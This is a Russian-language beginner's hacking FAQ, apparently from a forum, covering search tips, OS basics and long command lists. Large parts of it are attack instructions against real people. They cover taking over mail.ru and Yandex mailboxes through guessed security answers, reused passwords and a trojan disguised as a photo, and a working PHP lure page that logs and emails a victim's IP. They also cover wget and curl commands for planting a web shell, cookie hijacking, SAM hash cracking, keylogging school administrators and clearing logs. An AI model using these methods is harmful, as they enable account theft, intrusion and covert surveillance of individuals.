С чего начать

Я ничего не знаю, но хочу стать хакером. С чего начать?

Поверь, хочешь жить спокойно, лучше не начинать…

Но я все-таки очень хочу, что же делать?

Ну что ж, тогда стоит начать с того, чтобы не задавать этот вопрос в форуме.

Сперва определимся, кто такой хакер: это существо, у которого есть компьютер (ну это обязательно), две руки (одна для мышки, другая, конечно же, для пива), голова (для наушников), и холодильник (ну пиво же не теплым пить!). Если у тебя все это есть, значит у тебя есть все шансы стать настоящим хакером ;) Ах, да, чуть не забыл, еще у хакера должен быть нестандартный образ мышления!

Зачем хакеру нестандартный образ мышления?

Все очень просто. Хакер на «ты» с компьютером и с Интернетом, а значит, не нуждается ни в чьей помощи – всю информацию он умеет находить в поисковых ресурсах. Если ты усвоишь эту простую истину, то сможешь быстро добиться успехов. Поверь, базы yandex.ru и google.ru содержат ответы на 90% вопросов, так что если не хочешь ждать несколько дней ответа, используй это преимущество. В этом и есть их «маленький секрет»; откуда они так много знают. И вообще не бойся быть оригинальным!

Эх.. а я такой ламер, что даже поисковиками пользоваться не умею.

Стоп. Ламер – только тот, кто ничего не делает. Помнишь про 90%? Никогда не забывай эту цифру. Заходим на yandex.ru, вводим запрос «Поиск информации с помощью поисковиков» и вуаля – попадаем на страницу http://www.poiskinfo.net/stat/st1.php, где все подробно описано, как искать и где. Читай, и через 15 минут будешь специалистом по поиску в сети. :)

Но если все можно найти, зачем же тогда форум?

Во-первых, форум - это сообщество, люди, объединенные общими интересами. Они обсуждают все, начиная от погоды, и заканчивая интересными взломами, но это не значит, что они с радостью будут разбираться с твоей проблемой.

Во-вторых, вспомни еще разок про 90%. Остается 10% вопросов, ответов на которые действительно пока нет в поисковиках, либо они так хорошо запрятаны, что ни за что не отыскать. Что ж, тогда у тебя есть все шансы задать свой вопрос первым. Раз он еще не встречался, скорей всего, твои потомки, столкнувшиеся с такой же проблемой, будут попадать именно на твою тему. Поэтому постарайся задать его правильно.

Как же спросить правильно?

Замечательная статья про то, как задавать вопросы: http://ln.com.ua/~openxs/articles/smart … s-ru.html. Постарайся прочитать хотя бы ключевые моменты, это сильно повысит шанс, что тебе ответят и помогут.

Блин, а я вот спросил на форуме, но мне не ответили даже через неделю. Да они там сами ничего не знают!!!

Значит, ты так и не прочитал эту замечательную статью: http://ln.com.ua/~openxs/articles/smart … s-ru.html. Потрать 10-15 минут, чтобы потом не терять дни… Поверь, оно стоит того.

Если же у тебя не получается даже это, давай не будем становиться хакерами, ок? :)

Какие самые популярные сайты по взлому?

Вот некоторые из них:

http://antichat.ru
http://web-hack.ru
http://hackzona.ru
http://nsd.ru
http://void.ru
http://security.nnov.ru
http://anonymous.ru
http://inattack.ru
http://emanual.ru
http://sources.ru
http://codenet.ru

Кроме того, вот очень полезный сайт с доками по программированию: doks.gorodok.net

В сети действительно много информации для новичков, но там столько терминов! Что такое сплойт, прокси, IP, дефейс и т.п.?

Во-первых, многие непонятные слова можно узнать тут: http://www.xakep.ru/magazine/xa/049/024/1.asp.

Кроме того, есть один универсальный способ: Открываем yandex.ru, и пишем там, например, «что такое прокси». Кстати, ты сможешь познакомиться с зачатками искусственного интеллекта этого поисковика, увидев, как он преобразует твой запрос в «прокси – это…». Поэтому не стесняйся задавать ему вопросы типа «что такое …», он все знает. Пусть это будет наш секрет :)

Какими необходимыми знаниями нужно обладать, чтобы стать хакером?

Во-первых, нужно здорово разбираться хотя бы в одной из операционных систем, Windows, либо *nix.
Знать хотя бы основные shell-команды, причем как Windows, так и *nix.
Очень желательно знание одного из интерпретируемых языков, лучше всего PHP или perl.
Без знаний HTML, JavaScript, CSS придется очень туго.
Весьма пригодится умение писать Windows-программки. Соответственно, это C/C++, Delphi или Visual Basic.
Умение быстро находить интересующую тебя информацию в поисковиках будет несомненным плюсом.
Знание принципов функционирования компьютера, сетей и Интернета в целом.

Конечно, все это не охватить сразу, начни с чего-нибудь одного и осваивай постепенно. Со временем поймешь сам, что пригодится, а что нет.

Я слышал, что все хакеры не пользуются Windows это правда?

Не совсем. Дело в том, что большинство серверов - это unix системы. Именно поэтому чем лучше ты будешь знать никсы, тем больше тебе будет «везти» во взломах. А самый лучший способ узнать систему – поставить ее себе на комп. Кроме того, Unix очень привлекателен эффективной работой с сетью. Некоторые технологии, успешно реализованные в никсах, Windows даже не поддерживает, в то время, как отдельные программы вроде Corel Draw пока не имеют аналогов в *nix. Так что в какой ОС работать, это, в принципе, кому как удобней. Если есть желание познакомиться с каким-нибудь никсом, но не хочешь расставаться с Windows, то можешь оставить ее и поставить Linux как дополнительную ОС. Если заинтересовался, тебе прямая дорога на http://www.cnews.ru/reviews/articles/in … 30/188154.
FAQ по взлому в сети

Как взломать мыло на mail.ru и yandex.ru?

Наверное, я тебя разочарую, но почту mail.ru, или на yandex.ru взломать нельзя. Почему?

http://mail.ru, пожалуй, самая популярная почтовая система. Администрация серверов mail.ru имеет огромные доходы с рекламы, они завлекают пользователей рекламой в печатных изданиях и по телевидению, неужели ты думаешь, они пожалеют денег на хороших специалистов по безопасности? Забудь об этом. И, самое главное, никогда не ведись на предложения «взломать любое мыло на mail.ru за $5» - тебя самым наглым образом кинут. Способов дурачить лохов куча. Самый распространенный – «найден секретный почтовый робот, сообщающий пароль от любого ящика, если прислать ему свой пароль», также предлагают различные проги для взлома ящика «100% работающие и всего за $25».

Однако стоп, не все так печально. Что? Я сказал, почту на mail.ru нельзя взломать? Я пошутил :)

Если нельзя найти баг в самом сервере, почему бы не найти его в голове владельца ящика? Итак, внимание, самые распространенные способы взлома почты на mail.ru. Само собой, они катят и для других почтовиков.

Что ж, приступим:

1. Первым делом стоит попробовать подобрать ответ на секретный вопрос. Вероятность мала, но попробовать стоит. К примеру, ответом на "любимое блюдо" чаще всего бывают "шашлык", или "пельмени".

2. Допустим, мыло vasya-pupkin@mail.ru. Ищешь в поисковиках (достаточно Яндекс, Гугл и Рамблер) все сайты, где он засветился, выписываешь все ники, под которыми он гуляет по сети и все сайты, на которых он зарегистрирован под этими никами. Конечно, если логин типа alex, то ничего не выйдет, нужен уникальный

После этого исследуешь все найденные сайты. Если человек давно существует в сети, более чем вероятно, что год-другой назад он зарегился со своим паролем на каком-нибудь superforum2.h14.ru, взломать который не составит большого труда. Пароль от аккаунта на форуме часто совпадает с паролем от мыла.

3. Отсылаем человеку троянца в надежде, что он ламер ушастый и клюнет на superFoto.jpg.............exe. Отослать можно запароленный архив csmaps.zip от имени его друга, сказав, что там новая крутая карта CS. Пароль указать в письме. Как правило, юзеры проверяют запароленный архив антивирем, а потом без палева открывают его и запускают exe-шник . Для этих целей вполне подойдет троян Pinch.

4. Допустим, ничего не помогло. Человек следит за мылом, меняет пароли и т.д.

Не все потеряно. Снова идем на страницу вспоминания пароля mail.ru и ищем, нет ли там ретрива пасса на мыло. Есть? Тогда можно попытаться узнать второе мыло и повторить всю процедурку с начала. Возможно, его человек охраняет не так ревностно.

Как взломать мыло на менее защищенных почтовиках: newmail, hotmail…?

1. Приятней всего найти багу самому: например, уязвимость в веб-интерфейсе: возможно, где-нибудь спряталась XSS, или даже SQL-inj.

2. Если админы до сих пор не почесались сделать защиту от брута, можно попытаться сбрутить пароль. Для этого есть тулзы, например, старый добрый Brutus AET под Windows, либо THC-Hydra под никсы.

3. Использовать методы соц-инженерии, описанные для mail.ru

Как взломать сервер ***? Вы же можете помочь?

Каждый взлом – процесс творческий. И каждый ломает так, как ему нравится. Но, в первую очередь, конечно, стоит досконально изучить «подопытный» сервер. Какая на нем стоит система, какие сервисы, следит ли админ за патчами и обновлениями и т.д. При достаточном опыте хакер может узнать все это имея лишь броузер и telnet-клиент, начинающему же проще всего воспользоваться сканером уязвимостей. Например, SSS-сканером под Windows, или nmap под *nix.

Сканер нашел уязвимость и радостно сообщил об этом? Не торопись мчаться на форум с вопросом «nmap выдал мне ***, что с этим делать» - тебя скорей всего пошлют. Вбей ключевые слова из фразы об уязвимости в поисковик (лучше google) – я почти уверен, что ты не первый, кто собирался задавать такой вопрос! А там, где есть вопрос, там есть и ответ :)

Если же на сервере стоит старая бажная версия одного из сервисов, пробуй найти под нее сплойты.

Как пользоваться сплойтами?

Очень просто. Запустить сплойт с нужными параметрами, а он все сделает за тебя. Проблема в том, что большинство сплойтов в открытом доступе только в исходниках, то есть, обычный *.txt-файл с кодом на C++ или perl. Если это C++, то сплойт придется предварительно скомпилировать. Сплойты на perl или php компилировать не надо, они исполняются прямо на сервере. Если у тебя есть shell, достаточно залить туда файл и запустить. Если ничего кроме твоей родной Windows у тебя нет, придется скачать и установить один из эмуляторов. Например, cygwin и activePerl. Можно, в принципе, воспользоваться денвером (denwer.ru), но тогда тебе, скорей всего, придется вручную добавить некоторые сетевые библиотеки, которые отсутствуют в конфигурации по умолчанию.

Помни, что большинство сплойтов в исходниках имеют «защиту от дурака», то есть специально сделанные синтаксические ошибки, поэтому если в программировании ты абсолютный ноль, придется искать уже исправленный рабочий сплойт.

Как скомпилировать сплойт под Windows?

Ну очень подробное руководство приведено тут: http://www.razrushitel.front.ru/complite.html

Как запустить сплойт под Windows?

Нажми WinKey + R (или Пуск -> выполнить), там cmd и нажми ENTER. Появится черное окошко, в котором и надо запустить твой сплойт. Передвигаться по директориям можно командой CD имя директории, перейти с диска C: на диск D: можно командой CD /D D:

Список всех файлов и папок можно получить командой DIR. Другие команды узнаешь, набрав HELP.

Как правило, справка по использованию сплойта выдается при запуске его без параметров, или с параметрами –-help или -h.

Как запустить сплойт на шелле? У меня не получается.

Как правило, справка по использованию сплойта выдается при запуске его без параметров, или с параметрами –-help или -h.

Как взломать сайт?

Может быть, ты будешь расстроен, но нет ни чудо-проги lomalka_saitov.exe, ни заклинания «сайт взломайся», ни слова, которое нужно ввести на сайте, чтобы он взломался.

Опыт, знания, и упорство – вот три кита, на которых держатся самые успешные взломы. Почитай описания уже совершенных взломов, которых в сети просто до кучи, там все подробно описывается. Прочти 5-10 таких описаний, и получишь представление о том, как взломать сайт. Хотя бы примерно ;)

Могу лишь дать несколько рекомендаций:
Очень важно, на каком сервере находится сайт-цель. Возможно, админ не следит за сервером и вовремя не патчит систему. Тебе надо быть в курсе всех последних уязвимостей, чтобы сразу это заметить. Узнать информацию о сервере можно, например, на wwwwhois-service.ru.
Если это сервер крупной хостинг-компании, вроде valuehost, будь уверен, взломать сервер не получится, и натравливать сканер в надежде найти бажный сервис приктически не имеет смысла. В этом случае разумней всего начать с поиска багов на самом сайте, возможно ошибку допустили программисты.
Начни с поиска установленных «сторонних» скриптов: форумов, чатов, гостевых и т.п. А может быть и сам сайт – это какой-нибудь публичный веб-портал вроде php-nuke. Тогда остается лишь узнать версию скрипта и проверить, не найдена ли в нем какая уязвимость.

Неплохая статья про взлом вебсайтов: wwwhackzona.ru/hz.php?name=News&file=article&sid=2045

Какие уязвимости чаще всего встречаются на сайтах?

Основные уязвимости, это, несомненно:

1. SQL-инъекции (SQL-injection)

SQL инъекция относится к вставке метасимволов SQL в вводимые пользователем данные, что приводит к изменению запроса базе данных. Как правило, взломщики для начала определяют уязвимость сайта к такой атаке (для этого в форму, или в один из параметров url посылается знак одинарной кавычки). Последствия выполнения такой атаки на уязвимом сайте могут находиться в пределах от появления детального сообщения об ошибке, что раскрывает злоумышленнику используемую на сайте технологию, до доступа к закрытым областям сайта или выполнения на сервере произвольных команд операционной системы.

2. Межсайтовый скриптинг (XSS)

Принцип работы межсайтового скриптинга основан на внедрении злонамеренного кода в HTML код страницы, что приводит к выполнению такого кода на машине жертвы, то есть броузером. Чаще всего применяется в гостевых книгах, чатах и форумах.

Также XSS представляет опасность, если произвольный код отображается на страницах с расширением shtml, т.е. сервер поддерживает технологию SSI (Server Side Includes). Это может привести к чтению или выполнению произвольных файлов на сервере.

3. Прочие баги в головах программистов ;)

Ошибки в самом сайте, из-за которых на сайте могут появиться серьезные бреши в безопасности. Например, адрес сайта содержит что-нибудь вроде «?file=», допустим site.ru?show.php&article=../index.asp, но, само собой, это лишь один из вариантов.

Как взломать ICQ?

Неплохой FAQ по ICQ-хакингу для начинающих приведен здесь:

http://www.web-hack.ru/articles/articles.php?go=13

Как узнать ip сервера, например yandex.ru?

Самый быстрый способ – набрать в командной строке «ping yandex.ru»

Ты увидишь что-нибудь вроде

64 bytes from 213.180.204.11: icmp_seq=0 ttl=41 time=60.988 ms

213.180.204.11 – это и есть ip-адрес сервера.

Как узнать ip юзера в сети?

1. Общаться с ним по аське. Многие icq-клиенты, такие как Miranda IM, SIM и т.п., показывают ip в информации о пользователе. Если не хотите качать продвинутые клиенты, можно воспользоваться специальными программами типа uin2ip, или патчами для стандартных версий ICQ.

Кроме того, на сайте wwwleader.ru есть UIN Locator. Вводишь UIN получаешь IP, главное чтобы чел был не в оффлайне.

2. Добиться того, чтобы пользователь прислал тебе письмо. Вне зависимости от того, пользуется ли он веб-интерфейсом, или же почтовиком вроде TheBat!, в заголовках сообщения будет указан его ip. В TheBat! Заголовки можно прочитать, нажав правую кнопку и выбрать в контекстном меню «показывать заголовки RFC-822». Ищи текст «Received: from», который находится ближе всего к телу письма – сразу за этими словами будет ip-адрес отправителя.

3. Узнать на каких irc-каналах сидит юзер и посмотреть там.

4. Если ничего не помогает, но очень хочется, не отчаивайся.

Если у тебя есть хостинг, на котором можно исполнять perl/php (если нет, можно бесплатно зарегистрировать, например, на h15.ru), то вот еще один способ – выбираешь страничку, на которой есть фотография какого-нибудь случайного человека (допустим, http://masters.donntu.edu.ua/2001/ggeo/pavelchak/), полностью копируешь HTML-код в новый файл, например, info.html и сохраняешь его на своем сайте. Рядом создаешь еще один файл index.php, следующего содержания:
<?
  $message = "Date: " .
  date("d.m.Y H:i:s") .
  "\nIP: " . $REMOTE_ADDR .
  "\nServer: " .
  gethostbyaddr($REMOTE_ADDR) .
  "\nHTTP_X_FORWARDED_FOR: " .
  $HTTP_X_FORWARDED_FOR .
  "\nPage: " .
  $SERVER_NAME .
  $REQUEST_URI .
  "\nQuery: " .
  $QUERY_STRING .
  "\nComing from: " .
  $HTTP_REFERER .
  "\nBrowser: " .
  $HTTP_USER_AGENT .
  "\nFilename: " .
  $SCRIPT_FILENAME;
  mail("admin@mail.ru",
  "Requested ip", $message,
  "From: admin@mail.ru\nContent-Type: text/plain; charset=windows-1251",
  "-fadmin@mail.ru");
  $ = fopen("log.txt", "a");
  fwrite($fp, str_replace("\n", "\t", $message) . "\n");
  fclose($fp);
  include("fil.html");
?>

Само собой, мыло admin@mail.ru необходимо заменить на твой почтовый ящик. Эта страничка (index.php) визуально не будет отличаться от оригинала, но логи с ip и параметрами системы юзера отошлются тебе на почту и продублируются в лог-файл (проверь, что у этого файла есть права на запись, например 666, или 777). Кроме того, если человек находится в локальной сети, ты получишь еще и его локальный ip, а если ходит через прокси, то поимеешь ip как прокси, так и его собственный.

Теперь твоя задача – заманить юзера на эту страничку. Само собой, не стоит просто присылать ее по аське. Мой любимый способ такой: «Привет [тут имя того, чей ip хочешь узнать], ты помнишь Таню ([а вот тут как раз линк на твою страничку с фоткой])? Она сказала, ты можешь помочь мне с дизайном (взломом, разведением кактусов и т.п).

Действует 100% :)

Я знаю ip компьютера/юзера, как его взломать?

IP – это уникальный адрес компьютера. Так же как для рассылки корреспонденции у каждого жителя планеты должен быть уникальный домашний адрес (Страна, город, улица, дом, квартира), каждый компьютер должен иметь свой уникальный ip-адрес, чтобы другие компьютеры в сети смогли передать ему информацию.

Поэтому твой вопрос равносилен вопросу «как взломать квартиру друга, если я знаю его домашний адрес».

Надеюсь, ты понимаешь, что просто знание ip недостаточно.

Подробнее про ip-адрес, можно прочитать тут: http://www.sluh.freenet.kz/p8/12.html.

Как скрыть свой ip?

Если ты хочешь скрыть, т.е. поменять свой IP, то самый простой способ это сделать – воспользоваться анонимными прокси. Однако, не все так просто.

Обычно при обращении к сайту веб-серверу передаются два IP-адреса: REMOTE_ADDRESS и HTTP_X_FORWARDED_FOR.

REMOTE_ADDRESS – это, и есть твой ip-шник: по которому банят, который видят админы и т.п.

HTTP_X_FORWARDED_FOR - это дополнительный параметр, в котором хранится твой реальный IP. Например, если ты в локальной сетке, тут будет твой внутренний адрес.

Имей ввиду, что даже если если ты ходишь в сеть через прокси, и твой IP сменился на IP проксика, в HTTP_X_FORWARDED_FOR по-прежнему будет светиться твой старый IP!

Поэтому для полной анонимности нужно выбирать только те прокси, которые помечены как high anonymous или elite proxy. Эти сервера не передают никакой информации о твоем старом IP и полностью конфиденциальны. Если, конечно, это не сервера агентов спецслужб ;)

Как не спалиться при взломе?

Лазить по сети только через анонимные прокси, чтобы не светить свой ip. Заметать следы… Для этого используй какой-нибудь логклинер типа vanish2.

Где взять анонимные прокси и что с ними делать?

Списки анонимных прокси:

wwwsamair.ru/proxy
wwwweb-hack.ru/proxy
wwwfreeproxy.ru/ru
wwwproxy4free.com
wwwanonymizer.com
wwwanonymizer.ru

Пара прокси-чекеров:

wwwchecker.freeproxy.ru/checker/
wwwsamair.ru/proxy/proxychecker/

Юзаем прокси так:

Опера: Инструменты -> Настройки (или сразу Ctrl+F12) -> Сеть -> Прокси-серверы. Пишем тут ip адрес и порт проксика, нажимаем OK. далее нажимаем F12 и ставим галочку около Enable Proxy Servers
IE: Сервис -> Свойства обозревателя -> Подключения->Настройка LAN
Если через проксик нужно пустить весь трафик, либо программу, которая не поддерживает настройку прокси-соединения (например, TheBat!), пользуйся SocksChain.

Что делать с паролем такого вида: d8578edf8458ce06fbc5bb76a58c5ca4?

Ну, во-первых, это не пароль, а md5-хеш от пароля. Расшифровать его проще всего прогой md5Inside, или ее более продвинутым вариантом PasswordsPro. Есть также консольная программка JohnTheRipper (JTR)

Как юзать JohnTheRipper (JTR)?

wwwinattack.ru/search.php?s=john

Как юзать nmap?

wwwinattack.ru/article/48

Как мне закачать что-нибудь на сервер?

lynx: lynx -source "yoursite.com/shells/shell.php" > shell.php

links: аналогично lynx

wget: wget -O shell.php yoursite.com/shells/shell.php

GET: GET yoursite.com/shells/shell.php > shell.php

fetch: fetch -o shell.php yoursite.com/shells/shell.php

curl: curl --output shell.php yoursite.com/shells/shell.php

Мне удалось стянуть cookies с чужого компа, что с ними теперь делать?

Ну, во-первых, не радуйся слишком – куки не настолько конфиденциальная информация, как, к примеру, пароль от почты или от инета. Но кое-что, все же сделать можно.

Дело в том, что на некоторых серверах есть механизм авторизации пользователя на длительный срок, и информация об этой авторизации хранится именно в cookies. Ты можешь сделать следующий финт ушами: просто подменить свои куки куками юзера и, если программисты не предусмотрели такую подлянку, запросто войти под чужим логином, сайт тебя сам опознает.

Чаще всего такие фишки катят на форумах, но не на всех.

Это не проканает, если:
срок авторизации уже закончился
есть привязка к ip-адресу
в cookies вообще не хранится конфиденциальная информация

Но перед тем, как производить все эти манипуляции, обязательно просмотри, что же, собственно, есть в куках – возможно, там пароль в открытом виде, или же хеш пароля. Тогда, даже если истек срок действия cookies, есть шанс его расшифровать и зайти под чужим логином. В Опере cookies можно просматривать и редактировать через меню Настройки -> Дополнительно -> cookies.

Если у тебя IE, то есть Internet Explorer, придется воспользоваться дополнительными средствами, например программой IECookiesView.
FAQ по Windows и взлому ПК

Я запускаю консольную программу, появляется черное окошко и исчезает. Что не так?

Сначала надо запустить командную строку Winodws: WinKey + R (или Пуск-> Выполнить), там набери cmd и затем ENTER. Появится черное окошко, куда и надо вводить команды.

Я знаю команду net send. А есть еще какие-нибудь интересные команды?

Список основных команд Windows можно получить, набрав HELP в командной строке. Справка по конкретной команде вызывается так: HELP <имя команды>. Например, HELP LABEL.

Наиболее полезные команды:

CMD
Запуск командной строки ;)

NET SEND
отправка сообщения другому компьютеру в сети

NET START/STOP
запуск/остановка служб

NETSTAT
вывод активных подключений

NET USER username /ADD
заведение нового пользователя

NET USER username newpassword
смена пароля пользователя username

NET LOCALGROUP Администраторы
вывод всех Администраторов в системе

NET LOCALGROUP Администраторы username /ADD
добавление юзера username в группу Администраторов

LABEL
смена метки диска

PING xakep.ru
проверка доступности хоста и времени его отклика

TRACERT xakep.ru
путь прохождения пакетов в Сети и время отклика каждого сервера

IPCONFIG /ALL
сетевые настройки – IP адрес, DNS, WINS и DHCP сервера и прочее

IPCONFIG /FLUSHDNS
очистка локального DNS-кэша

TASKLIST
вывод всех запущенных процессов

TASKKILL /F /IM notepad.exe
убьет процесс notepad.exe

SHUTDOWN –S
выключение компьютера

SHUTDOWN –R –T 10
перезагрузка через 10 секунд

SHUTDOWN –A
отмена остановки системы (при перезагрузке, выключении и т.п.)

FTP
запуск консольного FTP-клиента

TELNET xakep.ru 80
подключение к 80 порту сервера xakep.ru

Как посмотреть, какие порты у меня открыты?

В командной строке выполнить netstat –a

Как в Windows закрыть определенный порт?

Что такое открытый порт? Это просто ожидание соединения. Если какая-либо программа или сервис ждет входящее подключение на какой-нибудь порт, ты видишь, что этот порт «открыт». Поэтому никакого встронного «рубильника» в Windows, естественно, нет, потому что непонятно, что, собственно, закрывать. Единственный способ прикрыть порт – оборвать соединение и закрыть сокет. Вполне логично, что сделать это можно двумя способами – вырубить соответствующий сервис или программу, либо воспользоваться файрволлом.

У меня в системе куча открытых портов. Это троянцы?

Не исключено, хотя Windows открывает много портов в служебных целях.

Посмотреть, к каким службам Windows относятся определенные порты, можно тут:

http://spy.h12.ru/hack.php?ports

Как взломать ZIP / RAR / SFX архив?

Работу алгоритма, который применяется в RAR и ZIP архивах, в двух словах можно описать так: содержание архива перемешивается с использованием определенного ключа (т.е. пароля). Поэтому даже зная сам алгоритм, но не имея ключа, расшифровать данные невозможно. Так же, как в уравнении 100 – X = Y получить Y, не зная X нельзя, не смотря на то, что алгоритм вычитания одного числа из другого тривиален.

Единственный способ – перебирать все возможные ключи по очереди и смотреть, подходит он к архиву, или нет.

Надо заметить, что шифрующая функция довольно навороченная, особенно в RAR-архивах, поэтому перебор происходит ужасно медленно, даже по сравнению с MD5.

Поэтому подобрать 6-изначный и более пароль к RAR-архиву уже практически нереально в домашних условиях, это займет месяцы и годы. Однако здесь могут реально помочь большие словари для брута. Возможно, там пароль «administrator», который, конечно же, есть в любом словаре :)

Наиболее популярные программы для взлома архивов:

Advanced ZIP Password Recovery (ZIP)
Rar Password Recovery (RAR)

Как взломать пароль на BIOS?

Если ты случайно забыл пароль на BIOS от своего компьютера, или от компьютера соседа, есть куча способов исправить это недоразумение. Узнать о них можешь тут:

wahack.org.ru/chd/?sec=lib&ver=html&p=2&text=26
wwwfssr.ru/hz.php?name=News&file=article&sid=4222

Где в Windows хранятся пароли юзеров?

В Windows 98 пароли хранятся в C:\Windows\***.pwl, где вместо *** - имя пользователя.

Расшифровать их можно программой RePWL.

В Windows NT/2000/XP пароли находятся в файле SAM:

C:\Windows\System32\config\SAM. Доступ к файлу имеет только Windows, поэтому даже находясь под Администратором, скопировать этот файл не выйдет – необходимо грузиться с DOS-дискетки, или другой ОС.

Для брута учеток используется SamInside, или ее более новая версия – InsidePro. Кстати, эта программа позволяет вытащить данные SAM файла непосредственно из системы, если у вас есть права администратора.

Для подбора паролей, скорей всего, помимо SAM файла понадобится еще и System.

Как узнать пароли или повысить права с гостя до админа в Windows XP?

1. У тебя есть права администратора

1.1. Запускаешь InsidePro, там в меню есть опция «импорт учеток с локальной машины» - получаешь хеши всех юзеров, осталось только расшифровать.

1.2. Меняешь любой пароль из командной строки:

NET USER username password /ADD
заведение юзера username с паролем password

NET USER username newpassword
смена пароля пользователя username на newpassword

NET LOCALGROUP Администраторы
вывод всех Администраторов в системе

NET LOCALGROUP Администраторы username /ADD
добавление юзера username в группу Администраторов

2. У тебя нет прав администратора, но есть физический доступ к компьютеру.

2.0 Во-первых, убедись, что у тебя из действительно нет: загрузись в Safe Mode (жми F8 при загрузке) и попробуй зайти под учеткой «Администратор». Очень часто на нее ставят пустой пароль, или что-нибудь вроде «a», «123», или «qwerty»

2.1 Если и правда нет, тогда грузись с DOS-дискетки, флешки, или загрузочного диска, забирай SAM и бруть его с помощью InsidePro.

2.2 Ищи локальный сплоит для повышения прав, и опять же становись админом.

2.3 Есть целый набор утилит для восстановления системы. Лучшая из них называется ERD Commander. ERD Commander 2005 можно скачать в p2p, найти его в Интернете проблематично. Поэтому могу предложить бесплатную альтернативу, всего несколько Мб. Там все подробно описано, как юзать и т.п. Программа представляет собой загрузочный диск, или дискетку, которые просто обнуляют пароль администратора. Достаточно вставить такой диск в дисковод и перезагрузить компьютер.

3. У тебя нет постоянного доступа к машине и/или нет возможности использовать все вышеперечисленные способы.

3.1 Запускай на компе кейлоггер, или вирус, который сможет стащить пароль, и зови админа «установить игрушку»

3.2 Используй сниффер для перехвата админского пароля - самый проверенный способ для школ и информационных классов: заходишь в биос, ставишь загрузку с флопика, грузишься с загрузочной дискеты. Затем кидаешь в папку автозагрузки админа прогу fucklogon, которая методом перехвата winapi снифает все пароли в лог файл... Ждёшь пару дней и читаешь логи, за два дня админ полюбой засветит свой пароль.

3.3 Попробуй проверить, как там с шарами: Набери в командной строке \\work10\C$, где work10 – имя машины в сети. Возможно, получится поиметь доступ к С-диску, а там уже проще – скажем, прописать что-нибудь в autoexec.bat, или в автозапуск и дождаться, пока винду перезагрузят.

Есть ли эмуляторы UNIX систем под Windows?

Конечно, есть. Для компиляции программ, или просто для знакомства с unix shell подойдет cygwin. Если под Windows хочется иметь полноценную UNIX-систему, рекомендую поставить виртуальную машину VMWare – вторая ось будет грузиться прям «внутри» Windows. Вполне полноценная система, в которой не страшно сделать «что-нибудь не то» - крах гостевой операционки в VMWare никак не повлияет на работу основной Windows.

Как можно соединить компьютеры по модему без Интернета?

http://phil.philka.ru/faq/serverconection.htm

Как бесплатно звонить на межгород через Интернет?

Поговорить с любым человеком, у которого есть Интернет, можно с помощью специальных сервисов. Самый популярный подобный сервис в России – Skype. Услуга бесплатная, однако, для этого другой пользователь тоже должен быть подключен к сервису SkyPE. Для того, чтобы звонить на городской телефон, придется заплатить.

Иногда междугородние и международные звонки через Интернет можно делать бесплатно. Как - описано здесь:

http://www.xakep.ru/post/40632/default.asp

Как оптимизировать и ускорить работу Windows XP?

Отличное руководство по настройке Windows XP: http://phil.philka.ru/faq/setupxp.htm
FAQ по *nix

Основные команды unix

Если unix ты видел только на картинках, то в качестве «введения» в unix-консоль можешь использовать этот мануал: http://www.xakep.ru/post/11391/default.asp.

Ниже приведен список основных команд UNIX:

получить имя текущей директории
pwd

переход в другую директорию (аналог DIR)
cd

показать информацию о файлах или директориях
ls

слить или вывести файлы-аргументы на стандартный вывод
cat, page, textedit, xedit
Например: cat /etc/passwd

копировать файлы
cp

переместить (переименовать) файлы
mv
Например: mv /etc/passwd /etc/passwd_copy

создать ссылку на файл
ln

удалить файлы
rm
Например: rm [-fri] файл

удалить директорию
rmdir

создать директорию
mkdir

вывести аргументы командной строки на стандартный вывод
echo

посмотреть выполняемые процессы
ps
Например: ps -e, ps -f

изменить свой пароль
passwd

узнать, кто сейчас работает в системе
who, finger
Например: who am i

постраничный вывод файла на экран
more
Например: more /etc/passwd

выдать справку об использовании и ключах команды
man
Например: man man

изменение прав доступа к файлам
chmod
Например: chmod a+w file

убить процесс
kill
Например: kill -9 31337

включить pежим supervisor aka root
su

сменить гpyппy, к котоpой ты пpинадлежишь в данный момент
newgrp

запуск команд по расписанию
at

посмотреть, текущие алиасы
alias

создание файлового архива
tar, cpio

архивация файла
compress, pack

замер времени исполнения команды
time, timex

вывод на экран первых десяти строк файла
head

вывод на экран последних десяти строк файла
tail

вывод содержимого заархивированного файла
peat

выполнение вычислений
be, dc

вывод даты и времени
date

изменение даты модификации файла на текущую
touch

деархивация файлa
unpack, uncompress

декодирование UU-кода
uudecode

вывод объема свободного дискового пространства
df

вывод объема,занятого каталогами
du

завершение работы
exit

печать заголовка
banner

захват изображения на экране
xv, xwd

вывод имени системы
uname
Например: uname –a

запуск интерпретатора командной строки
sh, csh, ksh, bash

запуск интерпретатора cmd на удаленной системе
rsh

личный календарь
cm, dtcm

вывод календаря
cal, cm, dtcm

калькулятор
calctool, dtcalc, xcalc

сравнение содержимого двух каталогов
dircmp

UU-кодирование файла для пересылки его по Эл. почте
uuencode

открытие окна терминала
xterm, dtterm, shelltool

копирование файлов между UNIX-системами
uucp

вычисление контрольной суммы файла
sum

нумерация строк текстового файла
n1

объединение нескольких файлов в один
cat

объединение отсортированных файлов по общему полю
join

объединение файлов в качестве двух столбцов
paste

вывод или установка значений переменных окружения
env

ожидание завершения процесса
wait

отправка сообщения другому пользователю
write, mail

очистка экрана
clear

вывод состояния службы печати
ipstat

запуск службы печати
ipsched

останов службы печати
ipshut

подсчет количества слов в текстовом файле
we

выполнение задач по расписанию
crontab

поиск текстовых строк
egrep, grep, fgrep

поиск и замена символов
tr

поиск в файле
awk, nawk

поиск файлов
find

вывод списка пользователей
listusers

выполнение последовательности команд
batch

запуск команды с пониженным приоритетом
nice

проверка правописания
spell

вывод списка известных систем
uuname

вывод системных сообщений
news

вывод системного идентификатора пользователя
id

установка соединения с удаленной UNIX-системой
cu

разрешение/запрет вывода сообщений на терминал
mesg

сортировка файлов
sort

вывод состояния машин в сети
ruptime

сравнение содержимого двух отсортированных файлов
comm

сравнение трех файлов
diff3

сравнение двух файлов и вывод отличающихся строк
diff, bdiff

сравнение двух файлов
cmp

сравнение файлов и вывод отлич.-ся и совпадающих строк
sdiff

запись стандартного вывода в файл
tee

вывод столбца из отсортированного файла
cut

поиск текстовых строк в бинарном файле
strings

поиск текстовых строк
egrep, grep, fgrep

табличный процессор
tbi

настройка табуляции
tabs

вывод информации о терминале
tput

настройка конфигурации терминала
stty

вывод параметров терминала
tty

определение типа файла
file

удаление из очереди заданий, созданных командой at
atrm

удаление заданий из очереди печати
cancel

удаление форматирующих символов из файла
col

копирование файлов с удаленной системы
rep, uucp, ftp

выполнение команды на удаленной системе
uux

вход в удаленную систему
telnet, riogin

